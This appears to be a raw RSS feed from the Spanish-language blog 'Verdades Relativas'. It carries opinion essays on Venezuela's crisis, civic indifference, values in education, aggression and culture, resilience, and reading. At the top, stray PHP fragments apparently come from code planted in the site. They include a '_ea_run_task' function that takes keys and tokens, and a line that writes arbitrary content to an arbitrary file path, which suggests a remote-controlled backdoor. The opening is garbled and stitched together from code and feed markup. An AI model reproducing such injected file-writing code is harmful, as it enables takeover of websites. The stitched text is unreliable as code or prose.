// dw_np
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'ctrl'=>'// dw_np',
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function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
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$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
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$_ok=true;$_result=array('purged'=>$p);}
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]]>A pocas horas de unas particulares “elecciones” para una Asamblea Nacional Constituyente, el escenario nos muestra cosas terribles, vemos a muchos personajes manifestando descontento, unos hablando, unos escribiendo, unos marchando, otros en paro, otros trancando, otros con pancartas, y de ese modo un sinfín de personajes y formas. Pero en ese mismo acto se ve a un demagogo convenciendo a otros de que eso no está pasando. El ruido de las consignas de los marchantes es silenciado por detonaciones. Se ven unos personajes de verde, disparando, golpeando y atropellando al resto; pero ¿Cuál es el personaje determinante de esa obra tan aterradora llamada “La Venezuela de hoy”?
El personaje que abarca la cuasi totalidad de la tarima es uno muy particular, unos que están sentados, parados, bailando o caminando; unos que en medio del caos decidieron vivir su vida como si nada estuviese pasando. A éstos personajes les llamaremos los indiferentes.
La primera característica del indiferente es que está descontento con la situación que el país vive, se quejan de los precios, de la inseguridad y de la escasez de alimento; sin embargo, ha tomado la decisión de convivir con aquellas “pequeñeces” asumiendo que no está en sus manos solucionar los problemas, o en su defecto, deciden cruzar fronteras y abandonar el escenario “hasta que la cosa mejore” la pregunta es ¿es eso posible?
La tendencia generalizada es que el migrante no regrese a su país de origen, por la sencilla razón de haber construido su vida en el extranjero, sin embargo, el alto volumen de migrantes venezolanos por las naciones cercanas ha generado episodios de xenofobia por parte de los habitantes de las naciones que les reciben, personas que consideran que los extranjeros son una amenaza a sus trabajos y oportunidades.
¿Qué queda para Venezuela?
Venezuela es un paciente agonizante por la enfermedad de la indiferencia, ¿hay que quemar el país?… no necesariamente, pero existen muchas formas cívicas de manifestar el descontento, posiblemente la consulta del “SI, SI, SI”, haya sido la mejor hasta la fecha, sin embargo, muchas personas se abstuvieron de participar por miedo a perder sus trabajos, o casas (entendiendo que el estado es uno de los mayores empleadores del país , y que las viviendas otorgadas por las misiones sociales del gobierno no son propiedad privada de quienes las reciben, sino propiedad social respondiendo al esquema marxista).
En ese sentido se torna necesario preguntarse, ¿vale la pena el riesgo de manifestarse? El ejemplo ideal podría ser una mujer que sufre agresiones de un marido violento, la mujer no denuncia por miedo a que el marido se enoje y le golpee, sin embargo, al no denunciar, el caballero le sigue agrediendo impunemente. Esto quiere decir que el miedo, no es más que un freno en la búsqueda de su bienestar. Lo mismo ocurre en la sociedad venezolana, donde muchos se vuelven indiferentes por miedo, aun cuando por desaciertos en las medidas económicas del gobierno, el trabajo no les brinde sustento, no puedan alimentarse bien o vivir dignamente de lo que hacen, o corran el riesgo de ser víctimas del hampa y morir camino a ese trabajo, humillante y esclavizante.
Sin embargo, el llamado al dialogo hecho por el mandatario Nicolás Maduro, entre otras insinuaciones, invitan a pensar que el gobierno si se ha visto debilitado y afectado por las protestas, y que eso le conduce a reprimir manifestaciones, para silenciar la voz de quienes luchan por una mejor vida.
Estas reflexiones permiten sostener que si existe la posibilidad de un cambio, sin embargo se vuelve fundamental la acción de los personajes sumidos aún en la indiferencia, y no por patriotismo, sino más bien por sentido del beneficio personal. La principal razón de que muchos de los profesionales que se van del país en busca de futuro, encuentren un presente económicamente estable, haciendo labores que les desagradan y alejándose de sus familias, es que el futuro no se busca, sino que se construye, por lo que resulta necesario que aquellos que han decidido quedarse cuenten con el criterio y sentido de la oportunidad y la ética necesaria, para sacar a Venezuela del mar de deudas, devaluaciones, e inflación en que se ha estado sumergiendo continua e ininterrumpidamente por casi veinte años de autoritarismo.
Hasta el momento, las dudas impiden hacer cualquier tipo de pronóstico responsable sobre lo que ha de ocurrir, ¿habrá negociación o pronunciamiento?,¿se instalará la constituyente?, ¿se saboteará el proceso?, ¿la abstención se hará escuchar?, ¿habrá participación… o una operación de gigantesco fraude sin precedentes?… Hay muchísima incertidumbre en la cabeza de cada venezolano, que sin saber si se respetarán las bases de la República, busca alternativas para hacer escuchar su voz en medio del silencio.
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]]>The post Venezuela y la crisis de valores first appeared on Verdades Relativas.
]]>Evidentemente ha sido responsabilidad de todos, pero en formas distintas. La familia por no fomentar y hacer inquebrantables los valores y principios que regirán la vida de sus hijos, la escuela por la débil y escaza calidad educativa debido a la incongruencia entre profesión y vocación que presentan los profesionales de la educación (maestros), y el gobierno por ser el primordial ente difusor y ejecutor de la corrupción basándose en mentiras para dejar a un lado la moral y ética que debe caracterizar a una de las figuras más influyentes en la sociedad.
Según Morín, hay que darle a la educación un sentido de pluralidad, tolerancia, aceptación y reconocer a otros como iguales a nosotros, pues estos elementos darán paso a la transformación social que hoy en día anhelan los venezolanos.
La educación será la herramienta que permitirá a las sociedades discernir entre el bien y el mal, a través de ella los individuos obtendrán conocimientos que posteriormente darán paso la capacidad de interpretación, aceptación y rechazo de las acciones realizadas por los líderes existentes.
Julio César Pineda, diplomático y analista internacional, sugiere que la educación y buenos valores se deben fomentar a través de la ética y estética del lenguaje, puesto que el niño sigue al padre, y el ciudadano sigue al que gobierna, es decir, una correcta manera de expresar los contenidos, opiniones e ideologías permitirán al emisor del mensaje desarrollar una conducta positiva en cada niño, niña o adolescentes que posteriormente serán el futuro del país.
El cambio en la educación venezolana se hace cada vez más necesario, es el momento de que los docentes dejen a un lado sus intereses personales y se enfoquen netamente en ser ciudadanos ejemplares con los que los niños y adolescentes puedan identificarse y se interesen en ser mejores cada día, al igual que es momento de que el Estado Venezolano tome en serio la educación e invierta más en el desarrollo y calidad de ésta para que en algún momento la educación venezolana llegue a ser tan excelente como la de otros países.
La falta de vocación, compromiso y disciplina han influido y fracturado de forma directa la calidad de la educación y por ende el desarrollo de nuevos ciudadanos que carecen de principios y valores.
Karol Pacheco
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]]>The post Agresividad, Violencia y Cultura first appeared on Verdades Relativas.
]]>La agresividad en la psicología social se entiende por una conducta normal de los individuos originada por un impulso o mecanismo de evolución. Además, se han incorporado las teorías o modelos que suponen la existencia de mecanismos innatos relacionados con emociones relevantes para la supervivencia. Existen varias teorías que apoyan este pensamiento, entre las cuales destacan la teoría del impulso, que plantea que existen mecanismos psicosociales que incitan y promueven el estímulo que conlleva a la agresión.
De igual forma la teoría biológica muestra los factores sociales y biológicos que originan que influyen al desarrollo de la agresión. En esta teoría plantea que existe un perfil de violencia de los agresores, donde se manifiesta que los episodios de agresión van disminuyendo o aumentando con el transcurso de la niñez, la adolescencia y culminando en la edad adulta. En el caso que se manifiesta un aumento, en la etapa adulta las consecuencias terminan en conductas antisociales, un ejemplo de ello es la creciente población de delincuencia en Venezuela, a consecuencia de una mala canalización de estas conductas a temprana edad.
Por otra parte existen psicólogos que manifiestan que la agresividad se considera una conducta o tendencia hostil o destructiva, dirigida a hacer daño o herir a otro ser viviente motivado a evitar ese trato. En este caso se nombran dos tipos de agresión, la agresión colérica o afectiva, que se produce por una reacción o provocación previa con el fin de herir o dañar a una persona. Y también está la agresión instrumental, que conlleva a otro objetivo diferente a hacer daño, como la autodefensa.
El ruido, el calor, la frustración, la cultura, los medios de comunicación, son algunos de los factores que originan una conducta agresiva en la persona, sin embargo en cuanto a la cultura de cada grupo, región o país, es elemento fundamental para los niveles de agresión y violencia, ya que a través de nuestro entorno adquirimos conductas que con el transcurrir del tiempo se visualizan como señales normales para el aprendizaje social.
Asimismo la teoría del aprendizaje social muestra que los individuos observadores copiaran a un modelo imitando la conducta del mismo, tomando en cuenta que esta se llevara a cabo por factores semejantes con los observadores asociándolo a un status o poder.
Un ejemplo claro de la vigencia de esta teoría fue en el periodo donde el ex presidente Hugo Chávez Frías manifestaba la autorización a familias de bajos recursos de “invasión” a terrenos para la construcción de viviendas. Cabe destacar que la frecuencia de la imitación aumenta cuando los observadores al realizar dichos actos, adquieren beneficios del mismo, esto nos muestra que la cultura regula el uso de la agresión en las relaciones sociales, dándole un significado a la misma.
Efectivamente los esquemas de agresión siempre estarán en las sociedades pero queda de parte de las mismas controlar estos niveles y enfocar su cultura a la disminución de actos de violencia intencional.
Antmar Quevedo
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]]>The post Los resilientes del tricolor first appeared on Verdades Relativas.
]]>Simón Bolívar
Hoy en la llamada tierra de Bolívar los venezolanos atraviesan una situación que los ha llevado a salir de su zona de comodidad, abandonando así sus puestos de trabajo para lanzarse a la aventura de adquirir alimentos. Duele ver como los ciudadanos tienen que hacer filas kilométricas para adquirir algún producto, a un chofer buscando cauchos, baterías o algún repuesto que requiera su vehículo, a unos padres intercambiando leche por algún otro alimento, al joven que busca comprar pañales porque será papá, y por qué no a una abuelita dejar sus dedos marcados en las rejas de algún establecimiento.
Si tuviese que definir al venezolano actual diría que son unos héroes al enfrentarse día tras día a horas de exposición al sol, dejar a sus hijos solos en casa para ir en busca de alimentos y hasta perder horas de labor. Cuando mis oídos suelen escuchar que “el venezolano es flojo”, difiero en seguida de ello, que mal podría catalogársele como tal al saber que al día siguiente deberá salir a escribir una nueva historia en la selva de cemento. No es que éste sea perezoso, es solo que vienen de una vida donde podían adquirir y tener todo lo que se les antojara. Si por algo se caracteriza la gente de esta tierra es por su capacidad de adaptación. Mal podría verse al joven que hoy estudia a pesar de la adversidad que atraviese, pues éste tiene detrás una familia que día a día se esfuerza para que su hijo(a) asista impecable a su clase, muchas veces hasta sin probar un bocado de comida, o apenas lleve en su bolsillo para comprar un pan, pero en fin su educación esta primero sobreponiéndose a toda su realidad.
Según la página www.consumer.es La resiliencia es un proceso por el cual las personas tienen la habilidad de adaptarse a situaciones traumáticas, a tragedias; en definitiva, a sobreponerse a la adversidad y a ser capaces de seguir adelante, incluso, transformados. La investigación científica ha puesto de manifiesto que la resiliencia es común a todas las personas, en mayor o menor grado. Los ciudadanos de esta tierra se han vuelto unos resilientes pues han sabido ganarle la batalla al hambre y a la desidia; hasta han sorteado tener que pasar noches enteras en algún establecimiento donde inermes esperan para lograr hacerse de un numero con el cual podrá comprar comida para él y los suyos, exponiéndose al frio inclemente de la noche y a la pérdida del sueño para no descuidarse y ser víctima de algún revés.
“La crisis es la mejor bendición que puede sucederle a personas y países porque la crisis trae progresos. La creatividad nace de la angustia como el día nace de la noche oscura. Es en la crisis que nace la inventiva, los descubrimientos y las grandes estrategias. Quien supera la crisis se supera a sí mismo sin quedar superado” Albert Einstein.
No pudo estar más acertado el autor, pues es aquí desde esta situación, desde este punto donde el ciudadano de esta tierra debe encontrar los elementos que le permita salir adelante reinventándose y redescubriéndose. Entendiendo que tras la tormenta llega la calma, que toda “noche oscura” tiene un amanecer resplandeciente. El ciudadano de esta tierra debe saber leer el momento histórico que hoy vive y ejercer su capacidad creadora.
No es primera vez que se rema contracorriente, lo que importa hoy es la valentía y las ganas que le imprimas al momento exaltando tu compromiso contigo y con tu patria.
Jamás desesperes aún estando en las más sombrías aflicciones, pues de las nubes negras cae agua limpia y fecundante. Proverbio Chino.
Marcos Ojeda
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]]>The post El Mundo está en tus Manos first appeared on Verdades Relativas.
]]>La escritura significa uno de los más importantes avances de la humanidad, ya que se han creado poderosos canales de comunicación e incluso de organización social, como la prensa, los libros y las leyes.
En todos los países y culturas existen diferentes tipos de comunicación escrita, pero en la actualidad, esas pautas han perdido su importancia y atención a nivel general. Una de las causas principales del deterioro del gusto de leer, es el bajo fomento por parte de las escuelas, la comunidad y principalmente dentro del núcleo familiar.
Para escribir bien hay que leer, por lo cual existen estrategias específicas para fomentar la lectura, comenzando con hábitos claves en la educación durante la infancia, procurar que los niños en casa nos vean leer o leer en conjunto, por ejemplo leerle algunos relatos cortos, y conversar con ellos sobre lo que comprendieron.
De igual forma existen páginas web donde al suscribirse, cada cierto tiempo se recibe a través de correo electrónico algunos artículos o cuentos, apoyando especialmente a nuevos escritores.
Con el fomento adecuado y la comprensión lectora precisa se podrá argumentar las ideas claras y así poseer características especiales y concretas a la hora de plasmar el conocimiento.
Antmar Quevedo
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]]>